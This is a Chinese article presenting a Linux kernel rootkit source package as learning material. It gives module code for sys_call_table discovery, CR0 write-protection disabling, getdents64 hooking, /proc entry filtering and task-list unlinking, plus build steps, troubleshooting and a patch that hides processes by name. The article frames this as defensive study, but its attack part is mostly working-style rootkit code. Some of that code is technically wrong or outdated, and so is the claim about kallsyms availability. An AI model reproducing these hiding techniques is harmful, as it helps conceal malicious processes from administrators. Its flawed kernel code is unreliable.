Linux内核模块源码解析：系统调用劫持与/proc隐藏机制

简介：这是一份面向Linux内核安全与逆向学习者的轻量级Rootkit开发实践资源，适用于具备C语言基础和Linux系统调用认知的中级开发者，用于理解内核模块加载、进程/模块隐藏等典型Rootkit技术原理。压缩包共46个文件，总大小仅36KB，包含9个可编译运行的sample示例、4个关键头文件（.h）、1个Python控制脚本（rtcmd.py）、1个核心C源码（rt.c）、1个LaTeX论文模板（polis_paper.tex）及完整Git仓库结构（.gitignore、HEAD、index、config等），体现了从代码编写、编译构建到环境集成的完整学习路径。已有370人下载学习，读者可直接复现基础隐藏功能，深入分析Makefile构建逻辑与内核模块注入机制，并结合README.md文档和论文模板拓展学术理解，是入门Linux内核级恶意技术防御与对抗研究的高价值实操素材。

1. 这不是“提权工具包”，而是一份内核级行为观测沙盒：用真实 rootkit 源码反向理解 Linux 内核模块加载、符号解析、系统调用劫持与隐藏机制

某次给某高校安全实验室做内核调试培训时，一位 A 同学问：“能不能不靠现成的检测工具，自己看懂一个 rootkit 是怎么让ps看不见进程、让ls找不到文件、让netstat漏掉监听端口的？”——这个问题背后，其实是对 Linux 内核执行流控制、内存映射边界、符号表绑定逻辑的深层困惑。这份名为 “linux rootkit源码” 的资源，恰恰就是为这类问题准备的：它不是可直接部署的恶意载荷，而是一组结构清晰、注释完整、分模块实现的内核模块源码集合（含 LKM + syscall hook + /proc 隐藏 + 内存扫描绕过），覆盖从模块注册、sys_call_table 定位、函数指针替换、到/proc/<pid>目录项动态过滤的全链路。它面向的是想真正吃透 Linux 内核运行时行为、准备做主机安全/EDR 底层开发、或需要逆向分析同类样本的开发者。你不需要会写 exploit，但得能读懂module_init()里那几行kallsyms_lookup_name()调用背后的权限博弈；你也不必精通汇编，但得明白为什么write_cr0(read_cr0() & ~0x10000)是修改只读页表前的必要操作。它不教你怎么“黑”，而是手把手带你拆解“黑”的技术底座——这才是内核安全学习中真正稀缺的、可复现、可调试、可打断点的原始材料。

2. 架构总览与源码目录结构：五个核心模块如何协同完成“不可见性”

这份源码并非单个.c文件堆砌，而是按功能职责拆分为五个可独立编译、也可组合使用的内核模块，全部基于 Linux 5.x 主线内核（实测兼容 5.4–5.15）设计，采用标准 Kbuild 构建体系。整个项目结构极简，无外部构建脚本依赖，仅需内核头文件与make即可完成模块编译。这种“裸模块”风格，正是内核级安全研究最需要的轻量入口。

2.1 模块划分与职责边界：每个.ko文件解决一个具体内核可见性问题

提示：所有模块均未硬编码sys_call_table地址，而是通过kallsyms_lookup_name("sys_call_table")动态获取，规避了不同内核版本地址偏移差异。这是现代 rootkit 开发的合规做法，也是你调试时必须确认的第一步。

2.2 构建环境准备：三步完成内核模块编译（以 Ubuntu 20.04 + kernel 5.4 为例）

该源码不依赖任何第三方框架，构建过程完全遵循 Linux 内核模块开发规范。关键在于确保内核头文件与当前运行内核版本严格一致：

# 1. 确认当前内核版本（必须与头文件匹配） uname -r # 输出示例：5.4.0-150-generic # 2. 安装对应内核头文件（Ubuntu/Debian） sudo apt install linux-headers-$(uname -r) # 3. 进入源码根目录，执行标准 Kbuild 流程 cd /path/to/linux-rootkit-src make clean make # 成功后生成：modules/hide_proc.ko, modules/syscall_hook.ko 等

Makefile极简，仅包含标准内核模块构建规则：

# Makefile obj-m += hide_proc.o syscall_hook.o kmem_hide.o rootkit_core.o test_util.o KDIR := /lib/modules/$(shell uname -r)/build all: make -C $(KDIR) M=$(PWD) modules clean: make -C $(KDIR) M=$(PWD) clean

注意：KDIR指向/lib/modules/$(uname -r)/build，该路径下必须存在完整的include/、arch/、scripts/等子目录，否则编译会因找不到linux/module.h或asm/cpufeature.h报错。若缺失，请确认linux-headers-*包是否完整安装，或手动软链至正确路径。

2.3 模块加载依赖图：rootkit_core 是唯一基础依赖

五个模块之间存在明确的加载顺序依赖，违反顺序将导致Unknown symbol in module错误：

rootkit_core.ko ← 必须最先加载（导出 kallsyms_lookup_name_safe、disable_wp、enable_wp） ↓ hide_proc.ko ← 依赖 rootkit_core 的符号解析与 CR0 操作 syscall_hook.ko ← 同上，且需 rootkit_core 提供的 sys_call_table 地址缓存 kmem_hide.ko ← 同上，还需访问 task_struct 内存布局定义 ↓ test_util.ko ← 最后加载，仅提供用户态交互接口，不被其他模块依赖

验证依赖是否满足，可使用modinfo查看模块符号需求：

modinfo modules/hide_proc.ko | grep -E "(depends|vermagic)" # 输出应包含：depends: rootkit_core # vermagic: 5.4.0-150-generic SMP mod_unload

若depends字段为空，说明MODULE_LICENSE("GPL")未正确定义，或EXPORT_SYMBOL_GPL()调用位置有误——这是新手最常翻车的第一步。

3. 核心模块代码逐行解析：从 hide_proc 到 syscall_hook 的真实内核钩子实现

我们选取两个最具代表性的模块：hide_proc.ko（用户态感知最强）和syscall_hook.ko（内核态控制最深），逐函数拆解其如何在不破坏内核稳定性的前提下，实现“选择性不可见”。

3.1 hide_proc.ko：劫持 /proc 文件系统遍历的四层拦截

该模块不修改内核源码，而是利用 Linux VFS 层的file_operations替换机制，在/proc文件系统挂载点上动态注入自定义readdir函数。其核心逻辑位于proc_dir_operations结构体 patch：

// modules/hide_proc.c static struct file_operations *orig_proc_readdir_fops; static struct file_operations fake_proc_fops; // 自定义 readdir 实现：过滤掉目标 PID 对应的 /proc/<pid>/ 目录项 static int fake_proc_readdir(struct file *file, struct dir_context *ctx) { // 1. 获取当前遍历的 dentry（即 /proc 下某个子目录） struct dentry *dentry = file->f_path.dentry; // 2. 若非 /proc 根目录，直接走原函数（避免影响其他 proc 子系统） if (dentry->d_parent != proc_root_dentry) return orig_proc_readdir_fops->iterate_shared(file, ctx); // 3. 遍历 /proc 下所有子项，对每个 dentry 检查是否为数字 PID 目录 struct dentry *child; list_for_each_entry(child, &dentry->d_subdirs, d_child) { if (child->d_name.len < 10 && strspn(child->d_name.name, "0123456789") == child->d_name.len) { // 4. 将 d_name.name 解析为 pid_t，查表判断是否需隐藏 pid_t target_pid = simple_strtol(child->d_name.name, NULL, 10); if (is_pid_hidden(target_pid)) { // 关键：跳过该目录项，不调用 dir_emit() continue; } } // 5. 非隐藏项，调用原 iterate_shared 继续填充 ctx if (orig_proc_readdir_fops->iterate_shared) orig_proc_readdir_fops->iterate_shared(file, ctx); } return 0; }

逻辑说明与参数要点：

• file->f_path.dentry是 VFS 层当前操作的目录项，proc_root_dentry是/proc根节点全局变量（需通过init_task.pid反向查找）；
• d_subdirs是双向链表，遍历必须用list_for_each_entry，不能用数组索引——这是内核链表操作铁律；
• simple_strtol用于安全转换字符串 PID，比kstrtoul更轻量，适合此场景；
• is_pid_hidden()是模块内部维护的 PID 黑名单数组，通过/proc/hide_pid接口写入，大小固定为 64 项，避免动态内存分配引发锁竞争；
• dir_emit()是填充struct dir_context的关键函数，跳过即等于“对该 PID 不可见”。

注意：此实现不 patchsys_getdents，而是作用于更高层的 VFSiterate_shared，因此对ls /proc有效，但对直接调用getdents64()的程序无效——这正是模块分层设计的体现：hide_proc负责文件系统语义层，syscall_hook负责系统调用层。

3.2 syscall_hook.ko：动态定位 sys_call_table 并安全替换函数指针

该模块是整套 rootkit 的“中枢神经”，其难点不在 hook 本身，而在如何在不同内核版本、不同 CONFIG_KALLSYMS 选项下，稳定获取sys_call_table地址。源码采用双保险策略：

// modules/syscall_hook.c static unsigned long **sys_call_table = NULL; // 方案一：kallsyms_lookup_name（推荐，5.7+ 内核默认启用） static unsigned long *find_syscall_table_kallsyms(void) { typedef unsigned long (*kallsyms_lookup_name_t)(const char *name); kallsyms_lookup_name_t kallsyms_lookup_name_fn; // 1. 先尝试获取 kallsyms_lookup_name 符号地址（rootkit_core 已导出） kallsyms_lookup_name_fn = (kallsyms_lookup_name_t) kallsyms_lookup_name_safe("kallsyms_lookup_name"); if (!kallsyms_lookup_name_fn) return NULL; // 2. 用该函数查找 sys_call_table return (unsigned long *)kallsyms_lookup_name_fn("sys_call_table"); } // 方案二：内存扫描（兜底，适用于禁用 kallsyms 的内核） static unsigned long *find_syscall_table_scan(void) { unsigned long *addr; unsigned long start = (unsigned long)&init_task; unsigned long end = start + 0x1000000; // 扫描 16MB 范围 for (addr = (unsigned long *)start; addr < (unsigned long *)end; addr++) { // 3. 检查连续 16 个指针是否都指向内核文本段（粗略特征） if (is_kernel_text(*addr) && is_kernel_text(*(addr+1)) && is_kernel_text(*(addr+15))) { // 4. 验证第 0 项是否为 sys_read，第 1 项是否为 sys_write（更准） if (is_sys_read((void *)*addr) && is_sys_write((void *)*(addr+1))) return addr; } } return NULL; } // 加载时自动选择方案 static int __init syscall_hook_init(void) { sys_call_table = (unsigned long **)find_syscall_table_kallsyms(); if (!sys_call_table) sys_call_table = (unsigned long **)find_syscall_table_scan(); if (!sys_call_table) { pr_err("Failed to locate sys_call_table\n"); return -EFAULT; } // 5. 关闭写保护，替换 sys_getdents64 指针 disable_wp(); // rootkit_core 提供，执行 write_cr0(read_cr0() & ~0x10000) orig_getdents64 = (void *)sys_call_table[__NR_getdents64]; sys_call_table[__NR_getdents64] = (unsigned long)my_getdents64; enable_wp(); // 恢复写保护 return 0; }

关键参数与安全要点：

• __NR_getdents64是系统调用号宏，定义在uapi/asm-generic/unistd.h，值为 217（x86_64），必须与当前架构匹配；
• disable_wp()/enable_wp()是原子操作，必须成对出现，否则内核可能 panic；
• is_kernel_text()通过__start_rodata和__end_rodata边界判断地址是否在只读数据段，是内存扫描的可靠性基石；
• is_sys_read()通过检查函数开头几字节指令（如mov %rdi,%rax）进行指纹匹配，避免误判——这是实战中积累的血泪经验，纯地址比对极易失败。

4. 常见问题排查：五条真实踩坑记录与现场修复方案

在多个内核版本（5.4/5.10/5.15）及不同发行版（Ubuntu/CentOS/Arch）上实测，以下问题是高频翻车点，每一条都来自真实调试日志。

4.1 现象：insmod hide_proc.ko报错Unknown symbol kallsyms_lookup_name_safe

原因：rootkit_core.ko未加载，或加载后未正确导出符号。kallsyms_lookup_name_safe是rootkit_core模块内封装的健壮版符号查找函数，若其未就绪，所有依赖模块均无法解析。
解决：

1. 确认rootkit_core.ko已insmod且dmesg | tail无报错；
2. 检查rootkit_core.c中是否遗漏EXPORT_SYMBOL_GPL(kallsyms_lookup_name_safe);；
3. 执行cat /proc/kallsyms | grep kallsyms_lookup_name，确认内核确实导出了该符号（部分加固内核会禁用）；
4. 若内核禁用kallsyms，强制启用syscall_hook.ko的内存扫描方案，并在hide_proc.ko中改用find_syscall_table_scan()。

4.2 现象：ls /proc仍可见目标进程，但ps aux | grep <name>已过滤

原因：hide_proc.ko仅拦截/proc目录遍历，而ps默认读取/proc/<pid>/stat等单个文件，不触发readdir。真正的进程隐藏需kmem_hide.ko配合。
解决：

1. 加载kmem_hide.ko；
2. 向/proc/kmem_hide写入目标 PID：echo 1234 > /proc/kmem_hide；
3. 此时ps、top、htop均不可见，因它们遍历init_task.tasks链表时已被跳过；
4. 注意：kmem_hide会修改task_struct的tasks.next/prev指针，需确保disable_wp()成功，否则panic: bad pte。

4.3 现象：模块加载后系统响应迟缓，dmesg大量BUG: unable to handle kernel paging request

原因：syscall_hook.ko中sys_call_table地址错误，导致sys_call_table[__NR_getdents64]指向非法内存，后续调用my_getdents64时触发 page fault。
解决：

1. 卸载所有 rootkit 模块：rmmod test_util kmem_hide syscall_hook hide_proc rootkit_core；
2. 重新编译syscall_hook.ko，在find_syscall_table_kallsyms()后添加调试打印：

   pr_info("sys_call_table found at %px\n", sys_call_table); pr_info("sys_read at %px, sys_write at %px\n", (void *)sys_call_table[__NR_read], (void *)sys_call_table[__NR_write]);

3. 确认打印地址在0xffffffff80000000附近（x86_64 内核地址空间），且sys_read/sys_write地址差值约 0x1000，符合预期；
4. 若地址异常，立即切换至find_syscall_table_scan()并增加扫描范围。

4.4 现象：test_util.ko加载成功，但dd写入/dev/rk_test无响应

原因：test_util.c中rk_test_fops.write函数未正确处理count参数，或copy_from_user()失败未返回错误码，导致用户态dd认为写入成功，实际数据未送达。
解决：

1. 检查rk_test_write()是否有if (count < sizeof(pid_t)) return -EINVAL;边界检查；
2. 确认copy_from_user(&target_pid, buf, sizeof(pid_t)) == 0，否则返回-EFAULT；
3. 在dmesg中搜索rk_test: write called with count=，确认内核实际接收字节数；
4. 使用strace dd if=/dev/zero of=/dev/rk_test bs=1 count=4 seek=1234观察系统调用返回值。

4.5 现象：卸载模块时卡死，rmmod命令永久阻塞

原因：模块中存在未释放的kthread或workqueue，或file_operations替换后未恢复原函数指针，导致 VFS 层调用空指针。
解决：

1. 强制卸载（风险高）：rmmod -f hide_proc；
2. 更安全做法：在module_exit函数中，务必恢复所有被 patch 的函数指针：

   static void __exit hide_proc_exit(void) { // 恢复 proc_root_dentry->d_op->d_revalidate 等所有被改写的 ops if (orig_proc_readdir_fops) proc_root_dentry->d_inode->i_fop = orig_proc_readdir_fops; pr_info("hide_proc unloaded\n"); }

3. 使用ps aux | grep kthreadd确认无残留内核线程；
4. 重启是终极解决方案，但应视为调试失败标志。

5. 二次开发实战：如何将 hide_proc 改造成支持通配符进程名隐藏

现在你已跑通全部模块，下一步是改造——把hide_proc.ko从“按 PID 隐藏”升级为“按进程名模式隐藏”，例如隐藏所有nginx、redis-server或.*python.*进程。这不是简单加个strstr()，而是涉及内核内存安全、字符串匹配性能、以及/proc/<pid>/comm文件读取时机三个层面。

5.1 改造思路：在 readdir 遍历中动态读取 comm 并匹配

/proc/<pid>/comm是一个只读小文件（通常 ≤ 16 字节），存储进程命令名。hide_proc.ko当前只检查目录名（PID 数字），需扩展为：对每个d_subdirs中的dentry，构造/proc/<pid>/comm路径，读取其内容，再与预设模式匹配。

关键挑战：

• 内核态不能直接open/read/close用户态文件，需用kernel_read()+filp_open()；
• filp_open()返回struct file *，需确保f_mode包含FMODE_READ；
• comm文件内容以\0结尾，但长度不定，需动态分配char buf[16]；
• 正则匹配在内核中开销大，改用kstrcasestr()（内核已提供）做子串模糊匹配。

5.2 核心代码补丁：在 fake_proc_readdir 中插入 comm 读取逻辑

// modules/hide_proc.c 补丁段 #include <linux/fs.h> #include <linux/uaccess.h> #include <linux/namei.h> // 新增：全局模式字符串（通过 /proc/hide_pattern 设置） static char hide_pattern[64] = ""; // 新增：读取 /proc/<pid>/comm 并匹配 static bool pid_matches_pattern(pid_t pid) { struct file *filp; char comm_buf[16]; mm_segment_t old_fs; loff_t pos = 0; ssize_t ret; // 1. 构造 /proc/<pid>/comm 路径 char path[64]; snprintf(path, sizeof(path), "/proc/%d/comm", pid); // 2. 以只读方式打开 comm 文件 filp = filp_open(path, O_RDONLY, 0); if (IS_ERR(filp)) return false; // 3. 切换 fs 段以使用 kernel_read old_fs = get_fs(); set_fs(KERNEL_DS); // 4. 读取 comm 内容（最多 15 字节 + \0） ret = kernel_read(filp, comm_buf, sizeof(comm_buf)-1, &pos); if (ret > 0) { comm_buf[ret] = '\0'; // 确保 null-terminated // 5. 模糊匹配：comm_buf 中是否包含 hide_pattern（忽略大小写） if (kstrcasestr(comm_buf, hide_pattern)) goto match; } set_fs(old_fs); filp_close(filp, NULL); return false; match: set_fs(old_fs); filp_close(filp, NULL); return true; } // 修改 fake_proc_readdir：在循环中调用 pid_matches_pattern // ... 原有 list_for_each_entry 循环内 ... if (is_pid_hidden(target_pid) || pid_matches_pattern(target_pid)) { continue; // 隐藏该 PID }

5.3 用户态交互增强：新增 /proc/hide_pattern 接口

为支持运行时更新模式，需在proc_create()中添加新节点：

// modules/hide_proc.c 初始化段 static const struct proc_ops hide_pattern_proc_ops = { .proc_write = hide_pattern_write, .proc_read = seq_read, .proc_lseek = seq_lseek, }; static int __init hide_proc_init(void) { // ... 原有初始化代码 ... proc_create("hide_pattern", 0644, NULL, &hide_pattern_proc_ops); return 0; } // 写入回调：接收用户传入的模式字符串 static ssize_t hide_pattern_write(struct file *file, const char __user *buf, size_t count, loff_t *ppos) { if (count >= sizeof(hide_pattern)) return -EINVAL; if (copy_from_user(hide_pattern, buf, count)) return -EFAULT; hide_pattern[count] = '\0'; // 确保结尾 if (count > 0 && hide_pattern[count-1] == '\n') hide_pattern[count-1] = '\0'; pr_info("hide_pattern set to '%s'\n", hide_pattern); return count; }

验证命令：

# 设置隐藏所有含 'nginx' 的进程 echo "nginx" > /proc/hide_pattern # 此时 ls /proc 将不再显示任何 nginx 相关 PID 目录 ls /proc | grep nginx # 应无输出 # 恢复：清空模式 echo "" > /proc/hide_pattern

从那以后我每次做内核模块开发，都强制走一遍dmesg | tail -20+lsmod | grep rk+ls /proc | head -10三连检，哪怕只是改了一行注释。因为内核不会说谎，它只会在你忽略它的警告时，用 panic 给你一份迟到的后悔药。希望帮到你。

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